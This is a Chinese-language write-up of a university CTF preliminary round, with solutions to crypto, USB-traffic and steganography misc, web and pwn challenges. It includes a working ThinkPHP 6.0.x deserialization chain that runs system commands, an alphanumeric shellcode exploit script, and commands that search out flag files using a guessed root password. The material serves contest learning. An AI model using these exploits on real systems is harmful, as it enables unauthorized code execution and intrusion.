第十五届全国大学生信息安全竞赛-初赛Writeup
打了一天,中午都没得吃,比赛结束后大排档走起
(有一说一,这次比赛非预期有点多🤣)
# Crypto
# 签到电台
启动
/send?msg=s
secret = "1973347399862711533110404998416457715650686145609857718723300188288593575412555543702049274771438950939954795178531483290829368278702826984745979430669687045470198763522479478721527346690557597178702747984255084300739699688722174498487190148024556725412991324287461578999334619063811305983223337641419342643123885806461827609245618232224778751077237835042208289787033881267777674432564785018335745227877690891327798615235742992497164399452959995174581039780883627351225448720175663584125774470780196310273890011415786654039389064"
secret = secret[:28]
flag = "1732 2514 1344 0356 0451 6671 0055"
flag = flag.replace(" ", "")
for i in range(len(secret)):
print((int(secret[i]) + int(flag[i])) % 10 ,end="")
2
3
4
5
6
7
8
2605598702202067578276114943
flag{0ea38ccb-a940-434c-92ee-e4c753d9d6dc}
# ISO9798
网上查找相关的文档
import string
from hashlib import sha256
from pwn import *
def bp(proof, sha):
for s1 in table:
for s2 in table:
for s3 in table:
for s4 in table:
ss = s1 + s2 + s3 + s4
if sha256((ss + proof).encode()).hexdigest() == sha:
return ss
context.log_level = 'debug'
r = remote('47.93.156.176', 40000)
r.recvuntil('sha256(XXXX+')
proof = r.recvuntil(')')[:-1].decode()
r.recvuntil(' == ')
sha = r.recv(64).decode()
r.recvuntil('XXXX: ')
table = string.ascii_letters+string.digits
r.sendline(bp(proof, sha))
r.recv()
r.sendline("1")
r.recvuntil("Encrypt(rA||rB||B, k) (in hex) is ")
rA_rB_B = r.recv(96).decode()
ll = len(rA_rB_B)
rA = rA_rB_B[:32]
rB = rA_rB_B[32:32*2]
rB_rA = rB + rA
r.recv()
r.sendline(rB_rA)
r.recv()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 基于挑战码的双向认证
非预期
进入容器,find / -name flag*
,找flag文件,在/root/cube-shell/instance/flag_server
目录下发现两个flag,读取提交发现就是正确的flag
cd /root/cube-shell/instance/flag_server
cat flag1.txt
2
# 基于挑战码的双向认证2
和上一道题一样
cd /root/cube-shell/instance/flag_server
cat flag2.txt
2
# 基于挑战码的双向认证3
发现题目无法查看之前的flag,尝试切换root用户,发现root的密码是toor
,同上,直接find搜索flag
flag2.txt就是flag了
# Misc
# 问卷
# ez_usb
用wireshark分别提取2.8.1
和2.10.1
使用sublime处理一下,提取出usbhid.data
利用python编写的脚本对提取出来的所有usbhid.data转化生成敲击内容:CTF—MISC—USB键盘流量分析 - 走看看 (zoukankan.com) (opens new window)
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":" ","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":" ","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('data.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
526172211a0700<CAP>c<CAP>f907300000d00000000000000c4527424943500300000002<CAP>a000000<CAP>02b9f9b0530778b5541d33080020000000666c61672<CAP>e<CAP>747874<CAP>b9b<CAP>a013242f3a<CAP>fc<CAP>000b092c229d6e994167c05<CAP>a7<CAP>8708b271f<CAP>fc<CAP>042ae3d251e65536<CAP>f9a<CAP>da87c77406b67d0<CAP>e6316684766<CAP>a86e844d<CAP>c81aa2<CAP>c72c71348d10c4<CAP>c<DEL>3d7b<CAP>00400700
output : 526172211a0700Cf907300000d00000000000000c4527424943500300000002A00000002b9f9b0530778b5541d33080020000000666c61672E747874B9Ba013242f3aFC000b092c229d6e994167c05A78708b271fFC042ae3d251e65536F9Ada87c77406b67d0E6316684766a86e844dC81AA2c72c71348d10c43D7B00400700
2
526172是rar的文件头,用python写个脚本
import struct
flag = "526172211a0700Cf907300000d00000000000000c4527424943500300000002A00000002b9f9b0530778b5541d33080020000000666c61672E747874B9Ba013242f3aFC000b092c229d6e994167c05A78708b271fFC042ae3d251e65536F9Ada87c77406b67d0E6316684766a86e844dC81AA2c72c71348d10c43D7B00400700"
with open("flag.rar", "wb") as f:
for i in range(0, len(flag), 2):
s = struct.pack('B', int(flag[i:i+2], 16))
f.write(s)
2
3
4
5
6
7
同样的,对2.10.1
进行同样的处理,得到
35c535765e50074a
output :35c535765e50074a
2
就是rar的密码,解压得到flag
flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}
# everlasting_night
hint:仔细观察png数据块,通道隐藏的数据可以配合lsb隐写
图片拖到010,发现最后面有奇奇怪怪的字符
FB 3E FC E4 CE AC 2F 54 45 C7 AE 17 E3 E9 69 AB
猜测md5,丢到在线网站解密,得到一个密码
FB3EFCE4CEAC2F5445C7AE17E3E969AB
ohhWh04m1
2
Stegsolve查看色道,看到有点不对劲,查看data extract。
提示说lsb,尝试lsb解密,得到一个文件,pk头,改后缀。
压缩包要密码,最开始的md5得到的就是密码,解压得到一个flag文件,010打开查看格式,改为后缀,然后用GIMP打开。
打开,发现是斜的图片,修改一下宽度
# Web
# Ezpop
ThinkPHP v6.0.x 反序列化链,参考文章https://blog.csdn.net/qq_42181428/article/details/105777872
修改pop如下所示:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "cat /flag.txt"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
echo urlencode(serialize(new Pivot(new Pivot())));
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
找到路由,Post输入a这个参数,得到flag
# Pwn
# login
逆向菜单可以发现,可以实现选择(opt)以及信息输入(msg)功能
unsigned __int64 __fastcall sub_FFD(_BYTE *a1)
{
char *sa; // [rsp+8h] [rbp-48h]
char *sb; // [rsp+8h] [rbp-48h]
char *sc; // [rsp+8h] [rbp-48h]
char *sd; // [rsp+8h] [rbp-48h]
char v7; // [rsp+17h] [rbp-39h]
int v8; // [rsp+1Ch] [rbp-34h]
int v9; // [rsp+2Ch] [rbp-24h]
void *dest; // [rsp+30h] [rbp-20h]
char *s1; // [rsp+38h] [rbp-18h]
char *nptr; // [rsp+40h] [rbp-10h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]
v13 = __readfsqword(0x28u);
memset(qword_202040, 0, sizeof(qword_202040));
v8 = 0;
v7 = 0;
dest = 0LL;
while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )
{
if ( v8 <= 5 )
qword_202040[2 * v8] = a1;
sb = strchr(a1, 58);
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0;
for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
*sc = 0;
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc;
sd = strchr(sc, 10);
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0;
a1 = sd + 1;
if ( *a1 == 13 )
*a1++ = 0;
s1 = (char *)qword_202040[2 * v8];
nptr = (char *)qword_202040[2 * v8 + 1];
if ( !strcasecmp(s1, "opt") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(s1, "msg") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}
*a1 = 0;
sa = a1 + 1;
if ( *sa == 10 )
*sa = 0;
switch ( v7 )
{
case 2:
sub_DA8(dest);
break;
case 3:
sub_EFE(dest);
break;
case 1:
sub_CBD(dest);
break;
default:
puts("error.");
exit(6);
}
return __readfsqword(0x28u) ^ v13;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
满足功能1后进入功能2存在mmap并且可以复制输入的字符串进去,然后当函数执行,直接写入可见字符shellcode即可
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
unsigned int v1; // eax
size_t v2; // rax
int i; // [rsp+14h] [rbp-2Ch]
void *dest; // [rsp+18h] [rbp-28h]
unsigned __int64 v6; // [rsp+28h] [rbp-18h]
v6 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( unk_202028 != 1 )
{
puts("oh!");
exit(-1);
}
if ( unk_202024 )
{
v1 = getpagesize();
dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
v2 = strlen(a1);
memcpy(dest, a1, v2);
((void (*)(void))dest)();
}
else
{
puts(a1);
}
return __readfsqword(0x28u) ^ v6;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
exp
from pwn import *
context.log_level = 'debug'
r = process('./login')
shell = "msg:ro0t1\nopt:1\n"
r.sendlineafter(">>", shell)
sc = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
shell = "msg:"+sc+"\nopt:2\n"
r.sendlineafter(">>", shell)
r.interactive()
2
3
4
5
6
7
8
9